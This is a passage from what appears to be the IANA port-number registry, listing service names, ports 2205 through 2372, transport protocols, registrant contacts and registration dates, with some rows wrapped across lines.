jps 2205 tcp Java Presentation Server [Leif_Jakob] [Leif_Jakob] 2006-01
jps 2205 udp Java Presentation Server [Leif_Jakob] [Leif_Jakob] 2006-01
hpocbus 2206 tcp HP OpenCall bus [Jerome_Forissier] [Jerome_Forissier] 2005-12
hpocbus 2206 udp HP OpenCall bus [Jerome_Forissier] [Jerome_Forissier] 2005-12
hpssd 2207 tcp HP Status and Services [Donald_Welch] [Donald_Welch] 2006-05
hpssd 2207 udp HP Status and Services [Donald_Welch] [Donald_Welch] 2006-05
hpiod 2208 tcp HP I/O Backend [David_Suffield] [David_Suffield] 2006-05
hpiod 2208 udp HP I/O Backend [David_Suffield] [David_Suffield] 2006-05
rimf-ps 2209 tcp HP RIM for Files Portal [Patty_Ho] [Patty_Ho] 2007-05
Service
rimf-ps 2209 udp HP RIM for Files Portal [Patty_Ho] [Patty_Ho] 2007-05
Service
noaaport 2210 tcp NOAAPORT Broadcast Network
noaaport 2210 udp NOAAPORT Broadcast Network
emwin 2211 tcp EMWIN [Antonio_Querubin] [Antonio_Querubin] 2008-03-10
emwin 2211 udp EMWIN [Antonio_Querubin] [Antonio_Querubin] 2008-03-10
leecoposserver 2212 tcp LeeCO POS Server Service [Patrick_Lee] [Patrick_Lee] 2008-03-10
leecoposserver 2212 udp LeeCO POS Server Service [Patrick_Lee] [Patrick_Lee] 2008-03-10
kali 2213 tcp Kali [Jay_Cotton] [Jay_Cotton]
kali 2213 udp Kali [Jay_Cotton] [Jay_Cotton]
rpi 2214 tcp RDQ Protocol Interface [Les_Mather] [Les_Mather] 2005-12
rpi 2214 udp RDQ Protocol Interface [Les_Mather] [Les_Mather] 2005-12
ipcore 2215 tcp IPCore.co.za GPRS [Administrator] [Administrator] 2005-12
ipcore 2215 udp IPCore.co.za GPRS [Administrator] [Administrator] 2005-12
vtu-comms 2216 tcp VTU data service [David_Barrass] [David_Barrass] 2006-01
vtu-comms 2216 udp VTU data service [David_Barrass] [David_Barrass] 2006-01
gotodevice 2217 tcp GoToDevice Device Management [John_Lisek] [John_Lisek] 2006-01
gotodevice 2217 udp GoToDevice Device Management [John_Lisek] [John_Lisek] 2006-01
bounzza 2218 tcp Bounzza IRC Proxy [Danko_Alexeyev] [Danko_Alexeyev] 2006-02
bounzza 2218 udp Bounzza IRC Proxy [Danko_Alexeyev] [Danko_Alexeyev] 2006-02
netiq-ncap 2219 tcp NetIQ NCAP Protocol [Roger_Huebner] [Roger_Huebner] 2010-08-25
netiq-ncap 2219 udp NetIQ NCAP Protocol [Roger_Huebner] [Roger_Huebner] 2010-08-25
netiq 2220 tcp NetIQ End2End [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
netiq 2220 udp NetIQ End2End [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
ethernet-ip-s 2221 tcp EtherNet/IP over TLS [ODVA_Inc] [Brian_Batke_3] 2015-05-28
ethernet-ip-s 2221 udp EtherNet/IP over DTLS [ODVA_Inc] [Brian_Batke_3] 2015-05-28
EtherNet/IP I/O
EtherNet-IP-1 2222 tcp IANA assigned this [Brian_Batke_2] [Brian_Batke_2] New contact added for port 2222 on 2008-02-01
well-formed service name as
a replacement for
"EtherNet/IP-1".
New contact added for port 2222 on 2008-02-01 This entry is
EtherNet/IP-1 2222 tcp EtherNet/IP I/O [Brian_Batke_2] [Brian_Batke_2] an alias to "EtherNet-IP-1". This entry is now historic, not
usable for use with many common service discovery mechanisms.
EtherNet/IP I/O
EtherNet-IP-1 2222 udp IANA assigned this [Brian_Batke_2] [Brian_Batke_2] New contact added for port 2222 on 2008-02-01
well-formed service name as
a replacement for
"EtherNet/IP-1".
New contact added for port 2222 on 2008-02-01 This entry is
EtherNet/IP-1 2222 udp EtherNet/IP I/O [Brian_Batke_2] [Brian_Batke_2] an alias to "EtherNet-IP-1". This entry is now historic, not
usable for use with many common service discovery mechanisms.
rockwell-csp2 2223 tcp Rockwell CSP2 [Brian_Batke] [Brian_Batke]
rockwell-csp2 2223 udp Rockwell CSP2 [Brian_Batke] [Brian_Batke]
efi-mg 2224 tcp Easy Flexible [Thomas_Efer] [Thomas_Efer] 2006-03
Internet/Multiplayer Games
efi-mg 2224 udp Easy Flexible [Thomas_Efer] [Thomas_Efer] 2006-03
Internet/Multiplayer Games
rcip-itu 2225 tcp Resource Connection [ITU_TSB] [ITU_TSB]
Initiation Protocol
2225 udp Reserved
rcip-itu 2225 sctp Resource Connection [ITU_TSB] [ITU_TSB]
Initiation Protocol
di-drm 2226 tcp Digital Instinct DRM
di-drm 2226 udp Digital Instinct DRM
di-msg 2227 tcp DI Messaging Service [Sean_Ni] [Sean_Ni] 2006-02
di-msg 2227 udp DI Messaging Service [Sean_Ni] [Sean_Ni] 2006-02
ehome-ms 2228 tcp eHome Message Server [Peter_Gabriel] [Peter_Gabriel] 2006-01
ehome-ms 2228 udp eHome Message Server [Peter_Gabriel] [Peter_Gabriel] 2006-01
datalens 2229 tcp DataLens Service [Christopher_Bidwell] [Christopher_Bidwell] 2006-02
datalens 2229 udp DataLens Service [Christopher_Bidwell] [Christopher_Bidwell] 2006-02
queueadm 2230 tcp MetaSoft Job Queue [Ilya_Melamed] [Ilya_Melamed] 2006-06
Administration Service
queueadm 2230 udp MetaSoft Job Queue [Ilya_Melamed] [Ilya_Melamed] 2006-06
Administration Service
wimaxasncp 2231 tcp WiMAX ASN Control Plane [Prakash_Iyer] [Prakash_Iyer] 2006-06
Protocol
wimaxasncp 2231 udp WiMAX ASN Control Plane [Prakash_Iyer] [Prakash_Iyer] 2006-06
Protocol
ivs-video 2232 tcp IVS Video default [Thierry_Turletti] [Thierry_Turletti]
ivs-video 2232 udp IVS Video default [Thierry_Turletti] [Thierry_Turletti]
infocrypt 2233 tcp INFOCRYPT [Erica_Liu] [Erica_Liu]
infocrypt 2233 udp INFOCRYPT [Erica_Liu] [Erica_Liu]
directplay 2234 tcp DirectPlay [Ajay_Jindal] [Ajay_Jindal]
directplay 2234 udp DirectPlay [Ajay_Jindal] [Ajay_Jindal]
sercomm-wlink 2235 tcp Sercomm-WLink [Melinda_Tsao] [Melinda_Tsao]
sercomm-wlink 2235 udp Sercomm-WLink [Melinda_Tsao] [Melinda_Tsao]
nani 2236 tcp Nani [Steve_Benoit] [Steve_Benoit]
nani 2236 udp Nani [Steve_Benoit] [Steve_Benoit]
optech-port1-lm 2237 tcp Optech Port1 License Manager [Gerard_Cannie] [Gerard_Cannie]
optech-port1-lm 2237 udp Optech Port1 License Manager [Gerard_Cannie] [Gerard_Cannie]
aviva-sna 2238 tcp AVIVA SNA SERVER [Vick_Keshishian] [Vick_Keshishian]
aviva-sna 2238 udp AVIVA SNA SERVER [Vick_Keshishian] [Vick_Keshishian]
imagequery 2239 tcp Image Query [Charles_Jacobs] [Charles_Jacobs]
imagequery 2239 udp Image Query [Charles_Jacobs] [Charles_Jacobs]
recipe 2240 tcp RECIPe [Charlie_Limoges] [Charlie_Limoges] 1997-12-16
recipe 2240 udp RECIPe [Charlie_Limoges] [Charlie_Limoges] 1997-12-16
ivsd 2241 tcp IVS Daemon [Thierry_Turletti] [Thierry_Turletti]
ivsd 2241 udp IVS Daemon [Thierry_Turletti] [Thierry_Turletti]
foliocorp 2242 tcp Folio Remote Server [Pat_Mcgowan] [Pat_Mcgowan]
foliocorp 2242 udp Folio Remote Server [Pat_Mcgowan] [Pat_Mcgowan]
magicom 2243 tcp Magicom Protocol [Yossi_Appleboum] [Yossi_Appleboum]
magicom 2243 udp Magicom Protocol [Yossi_Appleboum] [Yossi_Appleboum]
nmsserver 2244 tcp NMS Server [Dmitry_Krasnonosenki] [Dmitry_Krasnonosenki]
nmsserver 2244 udp NMS Server [Dmitry_Krasnonosenki] [Dmitry_Krasnonosenki]
hao 2245 tcp HaO [Panic_Ride] [Panic_Ride]
hao 2245 udp HaO [Panic_Ride] [Panic_Ride]
pc-mta-addrmap 2246 tcp PacketCable MTA Addr Map [Dave_Maxwell] [Dave_Maxwell]
pc-mta-addrmap 2246 udp PacketCable MTA Addr Map [Dave_Maxwell] [Dave_Maxwell]
antidotemgrsvr 2247 tcp Antidote Deployment Manager [Rod_Waltermann] [Rod_Waltermann] 2006-02
Service
antidotemgrsvr 2247 udp Antidote Deployment Manager [Rod_Waltermann] [Rod_Waltermann] 2006-02
Service
ums 2248 tcp User Management Service [Andrew_Crockford] [Andrew_Crockford]
ums 2248 udp User Management Service [Andrew_Crockford] [Andrew_Crockford]
rfmp 2249 tcp RISO File Manager Protocol [Shinji_Yamanaka] [Shinji_Yamanaka]
rfmp 2249 udp RISO File Manager Protocol [Shinji_Yamanaka] [Shinji_Yamanaka]
remote-collab 2250 tcp remote-collab [Richard_Walters] [Richard_Walters]
remote-collab 2250 udp remote-collab [Richard_Walters] [Richard_Walters]
dif-port 2251 tcp Distributed Framework Port [Sebastien_Lambla] [Sebastien_Lambla]
dif-port 2251 udp Distributed Framework Port [Sebastien_Lambla] [Sebastien_Lambla]
njenet-ssl 2252 tcp NJENET using SSL [Hans_U_Schmidt] [Hans_U_Schmidt]
njenet-ssl 2252 udp NJENET using SSL [Hans_U_Schmidt] [Hans_U_Schmidt]
dtv-chan-req 2253 tcp DTV Channel Request [Richard_Hodges] [Richard_Hodges]
dtv-chan-req 2253 udp DTV Channel Request [Richard_Hodges] [Richard_Hodges]
seispoc 2254 tcp Seismic P.O.C. Port [Robert_Reimiller] [Robert_Reimiller]
seispoc 2254 udp Seismic P.O.C. Port [Robert_Reimiller] [Robert_Reimiller]
vrtp 2255 tcp VRTP - ViRtue Transfer [Max_Fudim] [Max_Fudim]
Protocol
vrtp 2255 udp VRTP - ViRtue Transfer [Max_Fudim] [Max_Fudim]
Protocol
pcc-mfp 2256 tcp PCC MFP [Kunihiko_Morota] [Kunihiko_Morota] 2005-08
pcc-mfp 2256 udp PCC MFP [Kunihiko_Morota] [Kunihiko_Morota] 2005-08
simple-tx-rx 2257 tcp simple text/file transfer [Daniel_Kilsdonk] [Daniel_Kilsdonk] 2006-08
simple-tx-rx 2257 udp simple text/file transfer [Daniel_Kilsdonk] [Daniel_Kilsdonk] 2006-08
rcts 2258 tcp Rotorcraft Communications [Terry_Eldridge] [Terry_Eldridge] 2006-08
Test System
rcts 2258 udp Rotorcraft Communications [Terry_Eldridge] [Terry_Eldridge] 2006-08
Test System
2259 Unassigned 2011-06-28
apc-2260 2260 tcp APC 2260 [American_Power_Conve] [American_Power_Conve] 2002-02
apc-2260 2260 udp APC 2260 [American_Power_Conve] [American_Power_Conve] 2002-02
comotionmaster 2261 tcp CoMotion Master Server
comotionmaster 2261 udp CoMotion Master Server
comotionback 2262 tcp CoMotion Backup Server [Friedman_Wagner_Dobl] [Friedman_Wagner_Dobl] 2005-09
comotionback 2262 udp CoMotion Backup Server [Friedman_Wagner_Dobl] [Friedman_Wagner_Dobl] 2005-09
ecwcfg 2263 tcp ECweb Configuration Service [Anders_Hjelm] [Anders_Hjelm] 2006-03
ecwcfg 2263 udp ECweb Configuration Service [Anders_Hjelm] [Anders_Hjelm] 2006-03
apx500api-1 2264 tcp Audio Precision Apx500 API
Port 1
apx500api-1 2264 udp Audio Precision Apx500 API
Port 1
apx500api-2 2265 tcp Audio Precision Apx500 API [Robert_Wright] [Robert_Wright]
Port 2
apx500api-2 2265 udp Audio Precision Apx500 API [Robert_Wright] [Robert_Wright]
Port 2
mfserver 2266 tcp M-Files Server [Samppa_Lahtinen] [Samppa_Lahtinen] 2004-06
mfserver 2266 udp M-files Server [Samppa_Lahtinen] [Samppa_Lahtinen] 2004-06
ontobroker 2267 tcp OntoBroker [Dr_Michael_Erdmann] [Dr_Michael_Erdmann] 2004-12
ontobroker 2267 udp OntoBroker [Dr_Michael_Erdmann] [Dr_Michael_Erdmann] 2004-12
amt 2268 tcp AMT [IESG] [IETF_Chair] 2004-12 2014-12-17 [RFC7450]
amt 2268 udp AMT [IESG] [IETF_Chair] 2004-12 2014-12-17 [RFC7450]
mikey 2269 tcp MIKEY [Karl_Norrman] [Karl_Norrman] 2004-12
mikey 2269 udp MIKEY [Karl_Norrman] [Karl_Norrman] 2004-12
starschool 2270 tcp starSchool [Adam_Ernst] [Adam_Ernst] 2004-12
starschool 2270 udp starSchool [Adam_Ernst] [Adam_Ernst] 2004-12
mmcals 2271 tcp Secure Meeting Maker
Scheduling
mmcals 2271 udp Secure Meeting Maker
Scheduling
mmcal 2272 tcp Meeting Maker Scheduling [Andrew_H_Derbyshire] [Andrew_H_Derbyshire] 2004-12
mmcal 2272 udp Meeting Maker Scheduling [Andrew_H_Derbyshire] [Andrew_H_Derbyshire] 2004-12
mysql-im 2273 tcp MySQL Instance Manager [Petr_Chardin] [Petr_Chardin] 2004-12
mysql-im 2273 udp MySQL Instance Manager [Petr_Chardin] [Petr_Chardin] 2004-12
pcttunnell 2274 tcp PCTTunneller [ProControl_Technolog] [ProControl_Technolog] 2004-12
pcttunnell 2274 udp PCTTunneller [ProControl_Technolog] [ProControl_Technolog] 2004-12
ibridge-data 2275 tcp iBridge Conferencing
ibridge-data 2275 udp iBridge Conferencing
ibridge-mgmt 2276 tcp iBridge Management [Patrick_Fisher] [Patrick_Fisher] 2004-12
ibridge-mgmt 2276 udp iBridge Management [Patrick_Fisher] [Patrick_Fisher] 2004-12
bluectrlproxy 2277 tcp Bt device control proxy [Mark_de_Rooi] [Mark_de_Rooi] 2004-12
bluectrlproxy 2277 udp Bt device control proxy [Mark_de_Rooi] [Mark_de_Rooi] 2004-12
s3db 2278 tcp Simple Stacked Sequences [David_Brandon] [David_Brandon] 2006-08
Database
s3db 2278 udp Simple Stacked Sequences [David_Brandon] [David_Brandon] 2006-08
Database
xmquery 2279 tcp xmquery [Niels_Christiansen] [Niels_Christiansen]
xmquery 2279 udp xmquery [Niels_Christiansen] [Niels_Christiansen]
lnvpoller 2280 tcp LNVPOLLER
lnvpoller 2280 udp LNVPOLLER
lnvconsole 2281 tcp LNVCONSOLE
lnvconsole 2281 udp LNVCONSOLE
lnvalarm 2282 tcp LNVALARM
lnvalarm 2282 udp LNVALARM
lnvstatus 2283 tcp LNVSTATUS
lnvstatus 2283 udp LNVSTATUS
lnvmaps 2284 tcp LNVMAPS
lnvmaps 2284 udp LNVMAPS
lnvmailmon 2285 tcp LNVMAILMON [John_Payne] [John_Payne]
lnvmailmon 2285 udp LNVMAILMON [John_Payne] [John_Payne]
nas-metering 2286 tcp NAS-Metering [Steven_Sawkins] [Steven_Sawkins]
nas-metering 2286 udp NAS-Metering [Steven_Sawkins] [Steven_Sawkins]
dna 2287 tcp DNA [Tung_Nguyen] [Tung_Nguyen]
dna 2287 udp DNA [Tung_Nguyen] [Tung_Nguyen]
netml 2288 tcp NETML [Jochen_Hansmeyer] [Jochen_Hansmeyer]
netml 2288 udp NETML [Jochen_Hansmeyer] [Jochen_Hansmeyer]
dict-lookup 2289 tcp Lookup dict server [William_Fernando_Mat] [William_Fernando_Mat] 2005-01
dict-lookup 2289 udp Lookup dict server [William_Fernando_Mat] [William_Fernando_Mat] 2005-01
sonus-logging 2290 tcp Sonus Logging Services [Adwait_Sathe] [Adwait_Sathe] 2005-08
sonus-logging 2290 udp Sonus Logging Services [Adwait_Sathe] [Adwait_Sathe] 2005-08
eapsp 2291 tcp EPSON Advanced Printer Share [SEIKO_EPSON] [SEIKO_EPSON] 2006-06
Protocol
eapsp 2291 udp EPSON Advanced Printer Share [SEIKO_EPSON] [SEIKO_EPSON] 2006-06
Protocol
mib-streaming 2292 tcp Sonus Element Management [Linda_Lin] [Linda_Lin] 2006-08
Services
mib-streaming 2292 udp Sonus Element Management [Linda_Lin] [Linda_Lin] 2006-08
Services
npdbgmngr 2293 tcp Network Platform Debug [Robert_Byrne] [Robert_Byrne] 2006-09
Manager
npdbgmngr 2293 udp Network Platform Debug [Robert_Byrne] [Robert_Byrne] 2006-09
Manager
konshus-lm 2294 tcp Konshus License Manager [Francois_Painchaud] [Francois_Painchaud]
(FLEX)
konshus-lm 2294 udp Konshus License Manager [Francois_Painchaud] [Francois_Painchaud]
(FLEX)
advant-lm 2295 tcp Advant License Manager [Lars_Goran_Magnusson] [Lars_Goran_Magnusson]
advant-lm 2295 udp Advant License Manager [Lars_Goran_Magnusson] [Lars_Goran_Magnusson]
theta-lm 2296 tcp Theta License Manager [David_Thompson] [David_Thompson]
(Rainbow)
theta-lm 2296 udp Theta License Manager [David_Thompson] [David_Thompson]
(Rainbow)
d2k-datamover1 2297 tcp D2K DataMover 1
d2k-datamover1 2297 udp D2K DataMover 1
d2k-datamover2 2298 tcp D2K DataMover 2 [Eric_Lan] [Eric_Lan]
d2k-datamover2 2298 udp D2K DataMover 2 [Eric_Lan] [Eric_Lan]
pc-telecommute 2299 tcp PC Telecommute [John_Daniel_Bonamico] [John_Daniel_Bonamico]
pc-telecommute 2299 udp PC Telecommute [John_Daniel_Bonamico] [John_Daniel_Bonamico]
cvmmon 2300 tcp CVMMON [Roger_Kumpf] [Roger_Kumpf]
cvmmon 2300 udp CVMMON [Roger_Kumpf] [Roger_Kumpf]
cpq-wbem 2301 tcp Compaq HTTP [Scott_Shaffer] [Scott_Shaffer]
cpq-wbem 2301 udp Compaq HTTP [Scott_Shaffer] [Scott_Shaffer]
binderysupport 2302 tcp Bindery Support [Narasimha_Rao_N] [Narasimha_Rao_N]
binderysupport 2302 udp Bindery Support [Narasimha_Rao_N] [Narasimha_Rao_N]
proxy-gateway 2303 tcp Proxy Gateway [Paul_Funk] [Paul_Funk]
proxy-gateway 2303 udp Proxy Gateway [Paul_Funk] [Paul_Funk]
attachmate-uts 2304 tcp Attachmate UTS [George_Gianelos] [George_Gianelos]
attachmate-uts 2304 udp Attachmate UTS [George_Gianelos] [George_Gianelos]
mt-scaleserver 2305 tcp MT ScaleServer [Paul_Glaubitz] [Paul_Glaubitz]
mt-scaleserver 2305 udp MT ScaleServer [Paul_Glaubitz] [Paul_Glaubitz]
tappi-boxnet 2306 tcp TAPPI BoxNet [Richard_Spartz] [Richard_Spartz]
tappi-boxnet 2306 udp TAPPI BoxNet [Richard_Spartz] [Richard_Spartz]
pehelp 2307 tcp pehelp [Jens_Kilian] [Jens_Kilian]
pehelp 2307 udp pehelp [Jens_Kilian] [Jens_Kilian]
sdhelp 2308 tcp sdhelp [Annette_Klecha] [Annette_Klecha]
sdhelp 2308 udp sdhelp [Annette_Klecha] [Annette_Klecha]
sdserver 2309 tcp SD Server
sdserver 2309 udp SD Server
sdclient 2310 tcp SD Client [Jeurgen_Broesamle] [Jeurgen_Broesamle]
sdclient 2310 udp SD Client [Jeurgen_Broesamle] [Jeurgen_Broesamle]
messageservice 2311 tcp Message Service
messageservice 2311 udp Message Service
wanscaler 2312 tcp WANScaler Communication [Allen_Samuels] [Allen_Samuels] 2006-11
Service
wanscaler 2312 udp WANScaler Communication [Allen_Samuels] [Allen_Samuels] 2006-11
Service
iapp 2313 tcp IAPP (Inter Access Point [Henri_Moelard] [Henri_Moelard]
Protocol)
iapp 2313 udp IAPP (Inter Access Point [Henri_Moelard] [Henri_Moelard]
Protocol)
cr-websystems 2314 tcp CR WebSystems [Robin_Giese] [Robin_Giese]
cr-websystems 2314 udp CR WebSystems [Robin_Giese] [Robin_Giese]
precise-sft 2315 tcp Precise Sft. [Michael_Landwehr] [Michael_Landwehr]
precise-sft 2315 udp Precise Sft. [Michael_Landwehr] [Michael_Landwehr]
sent-lm 2316 tcp SENT License Manager [Pisharath_Krishnan] [Pisharath_Krishnan]
sent-lm 2316 udp SENT License Manager [Pisharath_Krishnan] [Pisharath_Krishnan]
attachmate-g32 2317 tcp Attachmate G32 [Bryce_Bhatnagar] [Bryce_Bhatnagar]
attachmate-g32 2317 udp Attachmate G32 [Bryce_Bhatnagar] [Bryce_Bhatnagar]
cadencecontrol 2318 tcp Cadence Control [Buck_Caldwell] [Buck_Caldwell]
cadencecontrol 2318 udp Cadence Control [Buck_Caldwell] [Buck_Caldwell]
infolibria 2319 tcp InfoLibria [Chris_Chiotasso] [Chris_Chiotasso]
infolibria 2319 udp InfoLibria [Chris_Chiotasso] [Chris_Chiotasso]
siebel-ns 2320 tcp Siebel NS [Gilberto_Arnaiz] [Gilberto_Arnaiz]
siebel-ns 2320 udp Siebel NS [Gilberto_Arnaiz] [Gilberto_Arnaiz]
rdlap 2321 tcp RDLAP [Robert_Wiebe] [Robert_Wiebe]
rdlap 2321 udp RDLAP [Robert_Wiebe] [Robert_Wiebe]
ofsd 2322 tcp ofsd
ofsd 2322 udp ofsd
3d-nfsd 2323 tcp 3d-nfsd [Mike_Sherrill] [Mike_Sherrill]
3d-nfsd 2323 udp 3d-nfsd [Mike_Sherrill] [Mike_Sherrill]
cosmocall 2324 tcp Cosmocall [Steve_Dellutri] [Steve_Dellutri]
cosmocall 2324 udp Cosmocall [Steve_Dellutri] [Steve_Dellutri]
ansysli 2325 tcp ANSYS Licensing Interconnect [Suzanne_Lorrin] [Suzanne_Lorrin] Modified: 27 October 2008
ansysli 2325 udp ANSYS Licensing Interconnect [Suzanne_Lorrin] [Suzanne_Lorrin] Modified: 27 October 2008
idcp 2326 tcp IDCP [Keisokugiken_Corp] [Keisokugiken_Corp]
idcp 2326 udp IDCP [Keisokugiken_Corp] [Keisokugiken_Corp]
xingcsm 2327 tcp xingcsm [Dave_Spencer] [Dave_Spencer]
xingcsm 2327 udp xingcsm [Dave_Spencer] [Dave_Spencer]
netrix-sftm 2328 tcp Netrix SFTM [Garrett_Herschleb] [Garrett_Herschleb]
netrix-sftm 2328 udp Netrix SFTM [Garrett_Herschleb] [Garrett_Herschleb]
nvd 2329 tcp NVD [Peter_Weyman] [Peter_Weyman]
nvd 2329 udp NVD [Peter_Weyman] [Peter_Weyman]
tscchat 2330 tcp TSCCHAT [Mike_Jackson] [Mike_Jackson]
tscchat 2330 udp TSCCHAT [Mike_Jackson] [Mike_Jackson]
agentview 2331 tcp AGENTVIEW [Ram_Iyer] [Ram_Iyer]
agentview 2331 udp AGENTVIEW [Ram_Iyer] [Ram_Iyer]
rcc-host 2332 tcp RCC Host [Martin_Shoemaker] [Martin_Shoemaker]
rcc-host 2332 udp RCC Host [Martin_Shoemaker] [Martin_Shoemaker]
snapp 2333 tcp SNAPP [Dan_Burrows] [Dan_Burrows] 2009-09-25
snapp 2333 udp SNAPP [Dan_Burrows] [Dan_Burrows] 2009-09-25
ace-client 2334 tcp ACE Client Auth
ace-client 2334 udp ACE Client Auth
ace-proxy 2335 tcp ACE Proxy [Riaz_Zolfonoon] [Riaz_Zolfonoon]
ace-proxy 2335 udp ACE Proxy [Riaz_Zolfonoon] [Riaz_Zolfonoon]
appleugcontrol 2336 tcp Apple UG Control [Gene_Tyacke] [Gene_Tyacke]
appleugcontrol 2336 udp Apple UG Control [Gene_Tyacke] [Gene_Tyacke]
ideesrv 2337 tcp ideesrv [Marazzi] [Marazzi]
ideesrv 2337 udp ideesrv [Marazzi] [Marazzi]
norton-lambert 2338 tcp Norton Lambert [Richard_de_Mornay] [Richard_de_Mornay]
norton-lambert 2338 udp Norton Lambert [Richard_de_Mornay] [Richard_de_Mornay]
3com-webview 2339 tcp 3Com WebView [Jennifer_Grace] [Jennifer_Grace]
3com-webview 2339 udp 3Com WebView [Jennifer_Grace] [Jennifer_Grace]
WRS Registry
wrs-registry 2340 tcp IANA assigned this [Christophe_Cleraux] [Christophe_Cleraux]
well-formed service name as
a replacement for
"wrs_registry".
This entry is an alias to "wrs-registry". This entry is now
wrs_registry 2340 tcp WRS Registry [Christophe_Cleraux] [Christophe_Cleraux] historic, not usable for use with many common service
discovery mechanisms.
WRS Registry
wrs-registry 2340 udp IANA assigned this [Christophe_Cleraux] [Christophe_Cleraux]
well-formed service name as
a replacement for
"wrs_registry".
This entry is an alias to "wrs-registry". This entry is now
wrs_registry 2340 udp WRS Registry [Christophe_Cleraux] [Christophe_Cleraux] historic, not usable for use with many common service
discovery mechanisms.
xiostatus 2341 tcp XIO Status [Randy_Maas] [Randy_Maas]
xiostatus 2341 udp XIO Status [Randy_Maas] [Randy_Maas]
manage-exec 2342 tcp Seagate Manage Exec [Jim_Flaherty] [Jim_Flaherty]
manage-exec 2342 udp Seagate Manage Exec [Jim_Flaherty] [Jim_Flaherty]
nati-logos 2343 tcp nati logos [James_Juhasz] [James_Juhasz]
nati-logos 2343 udp nati logos [James_Juhasz] [James_Juhasz]
fcmsys 2344 tcp fcmsys
fcmsys 2344 udp fcmsys
dbm 2345 tcp dbm [Dean_Robson] [Dean_Robson]
dbm 2345 udp dbm [Dean_Robson] [Dean_Robson]
Game Connection Port
redstorm-join 2346 tcp IANA assigned this
well-formed service name as
a replacement for
"redstorm_join".
This entry is an alias to "redstorm-join". This entry is now
redstorm_join 2346 tcp Game Connection Port historic, not usable for use with many common service
discovery mechanisms.
Game Connection Port
redstorm-join 2346 udp IANA assigned this
well-formed service name as
a replacement for
"redstorm_join".
This entry is an alias to "redstorm-join". This entry is now
redstorm_join 2346 udp Game Connection Port historic, not usable for use with many common service
discovery mechanisms.
Game Announcement and
Location
redstorm-find 2347 tcp IANA assigned this
well-formed service name as
a replacement for
"redstorm_find".
Game Announcement and This entry is an alias to "redstorm-find". This entry is now
redstorm_find 2347 tcp Location historic, not usable for use with many common service
discovery mechanisms.
Game Announcement and
Location
redstorm-find 2347 udp IANA assigned this
well-formed service name as
a replacement for
"redstorm_find".
Game Announcement and This entry is an alias to "redstorm-find". This entry is now
redstorm_find 2347 udp Location historic, not usable for use with many common service
discovery mechanisms.
Information to query for
game status
redstorm-info 2348 tcp IANA assigned this
well-formed service name as
a replacement for
"redstorm_info".
Information to query for This entry is an alias to "redstorm-info". This entry is now
redstorm_info 2348 tcp game status historic, not usable for use with many common service
discovery mechanisms.
Information to query for
game status
redstorm-info 2348 udp IANA assigned this
well-formed service name as
a replacement for
"redstorm_info".
Information to query for This entry is an alias to "redstorm-info". This entry is now
redstorm_info 2348 udp game status historic, not usable for use with many common service
discovery mechanisms.
Diagnostics Port
redstorm-diag 2349 tcp IANA assigned this [David_Weinstein] [David_Weinstein]
well-formed service name as
a replacement for
"redstorm_diag".
This entry is an alias to "redstorm-diag". This entry is now
redstorm_diag 2349 tcp Diagnostics Port [David_Weinstein] [David_Weinstein] historic, not usable for use with many common service
discovery mechanisms.
Diagnostics Port
redstorm-diag 2349 udp IANA assigned this [David_Weinstein] [David_Weinstein]
well-formed service name as
a replacement for
"redstorm_diag".
This entry is an alias to "redstorm-diag". This entry is now
redstorm_diag 2349 udp Diagnostics Port [David_Weinstein] [David_Weinstein] historic, not usable for use with many common service
discovery mechanisms.
psbserver 2350 tcp Pharos Booking Server
psbserver 2350 udp Pharos Booking Server
psrserver 2351 tcp psrserver
psrserver 2351 udp psrserver
pslserver 2352 tcp pslserver
pslserver 2352 udp pslserver
pspserver 2353 tcp pspserver
pspserver 2353 udp pspserver
psprserver 2354 tcp psprserver
psprserver 2354 udp psprserver
psdbserver 2355 tcp psdbserver [Paul_Reddy] [Paul_Reddy]
psdbserver 2355 udp psdbserver [Paul_Reddy] [Paul_Reddy]
gxtelmd 2356 tcp GXT License Managemant [Robert_Hodgson] [Robert_Hodgson]
gxtelmd 2356 udp GXT License Managemant [Robert_Hodgson] [Robert_Hodgson]
unihub-server 2357 tcp UniHub Server [Tim_Kenyon] [Tim_Kenyon]
unihub-server 2357 udp UniHub Server [Tim_Kenyon] [Tim_Kenyon]
futrix 2358 tcp Futrix [Peter_Frankenberg] [Peter_Frankenberg]
futrix 2358 udp Futrix [Peter_Frankenberg] [Peter_Frankenberg]
flukeserver 2359 tcp FlukeServer [Bill_Marbaker] [Bill_Marbaker]
flukeserver 2359 udp FlukeServer [Bill_Marbaker] [Bill_Marbaker]
nexstorindltd 2360 tcp NexstorIndLtd [NexStor_India_Limite] [NexStor_India_Limite]
nexstorindltd 2360 udp NexstorIndLtd [NexStor_India_Limite] [NexStor_India_Limite]
tl1 2361 tcp TL1 [Charles_Scott_Robers] [Charles_Scott_Robers]
tl1 2361 udp TL1 [Charles_Scott_Robers] [Charles_Scott_Robers]
digiman 2362 tcp digiman [Aaron_S_Kurland] [Aaron_S_Kurland]
digiman 2362 udp digiman [Aaron_S_Kurland] [Aaron_S_Kurland]
mediacntrlnfsd 2363 tcp Media Central NFSD [Shivakumar_S_Govind] [Shivakumar_S_Govind]
mediacntrlnfsd 2363 udp Media Central NFSD [Shivakumar_S_Govind] [Shivakumar_S_Govind]
oi-2000 2364 tcp OI-2000 [Software_Horizons_In] [Software_Horizons_In]
oi-2000 2364 udp OI-2000 [Software_Horizons_In] [Software_Horizons_In]
dbref 2365 tcp dbref [Yoshihiro_Yamazaki] [Yoshihiro_Yamazaki]
dbref 2365 udp dbref [Yoshihiro_Yamazaki] [Yoshihiro_Yamazaki]
qip-login 2366 tcp qip-login [Mike_Morgan] [Mike_Morgan]
qip-login 2366 udp qip-login [Mike_Morgan] [Mike_Morgan]
service-ctrl 2367 tcp Service Control [Humberto_Sanchez] [Humberto_Sanchez]
service-ctrl 2367 udp Service Control [Humberto_Sanchez] [Humberto_Sanchez]
opentable 2368 tcp OpenTable [Brett_Goldstein] [Brett_Goldstein]
opentable 2368 udp OpenTable [Brett_Goldstein] [Brett_Goldstein]
2369 Unassigned De-registered (28 March 2006)
l3-hbmon 2370 tcp L3-HBMon [Dolores_Scott] [Dolores_Scott] 2014-04-09
l3-hbmon 2370 udp L3-HBMon [Dolores_Scott] [Dolores_Scott] 2014-04-09
rda 2371 tcp Remote Device Access [Hewlett_Packard_Enterprise_2] [Steve_Roscio][Paul_Vencel] 2018-11-05
2371 udp Reserved 2014-04-09
lanmessenger 2372 tcp LanMessenger [Garrett_Padera] [Garrett_Padera] 2008-02-01
